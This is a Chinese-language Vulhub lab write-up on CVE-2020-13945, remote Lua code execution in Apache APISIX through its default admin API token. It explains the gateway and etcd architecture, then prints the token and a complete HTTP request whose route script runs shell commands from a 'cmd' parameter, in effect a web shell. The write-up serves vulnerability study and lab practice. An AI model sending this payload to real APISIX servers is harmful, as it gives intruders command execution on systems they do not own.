Vulhub

分析视角

第一问

攻击面在哪里?哪些端口暴露?

哪些端口是业务接口,哪些端口是管理端口

第二问

认证在哪里?认证的强度:固定值,默认值,弱口令,可绕过

第三问

认证成功后能干什么?

第四问

配置能影响什么?

如果能影响执行逻辑,那么通常就离RCE不远了

用户流量怎么走
管理员流量怎么走
配置存在哪里
谁有修改权限
修改后如何生效

Apache APISIX 默认API Token导致远程Lua代码执行(CVE-2020-13945)

Apache APISIX

一个开源高性能API网关和微服务管理平台,基于Nginx和etcd搭建,可用于动态路由,负载均衡,鉴权和流量控制

所谓的API网关,就是在写服务对应的内网地址和端口的时候,可以做到直接映射端口对应的服务(类似于DNS解析)

从计算机系统的底层来看,很多的基础设施都可以抽象成查找表和键值对匹配

数据面

实际业务数据的流向和处理,可以理解为正常的http请求

控制面

控制面实质就是一个集中化管理端口,便于统一控制和修改

但是正常来说作为控制面的端口应该是在内网中,不应该暴露端口给外网

etcd(2379,2380)

etcd本质就是一个非关系型数据库,用于同步数量多的APISIX服务器集群,避免一个一个重新配置

觉得眼熟,其实有点像同步多台Redis数据的同步器

etcd存的是服务器的配置信息,APISIX之所以能出现就是因为etcd,传统的Nginx服务器一旦重新修改配置信息就需要重启以生效,etcd的出现就是为了解决不重启即可生效

而etcd自动同步的特性也成了RCE的来源,一旦配置不当,将etcd的端口暴露出来就极易造成RCE

实际原理

底层其实是认证失效,或者说开发人员的忽略,没有把APISIX默认的Admin API的token修改,导致越权篡改

在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1,攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行

完整利用链

公网->暴露的Admin API端口->默认token未修改->打进etcd修改配置信息->APISIX服务器自动同步配置信息造成RCE

危害

运维安全问题,两个必要条件公网暴露和默认token,利用难度较大

存在于Apache APISIX 2.11.0,且最新版仍然存在未被修复

payload

1
2
3
4
5
6
7
8
9
10
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

X-API-KEY即为默认token

1
2
3
4
5
6
7
8
9
10
11
12
local _M={}
function _M.access(conf,ctx)
local os=require('os')--引入标准库
local args=assert(ngx.req.get_uri_args())
local f=assert(io.popen(args.cmd,'r'))--r只读,w覆写,a追加
local s=assert(f:read('*a'))
ngx.say(s)
f:close()
end
return _M

assert()--断言,即判断括号内是否为null,若为null则报错,不为null则返回值

完整报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Host: 0.0.0.0:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}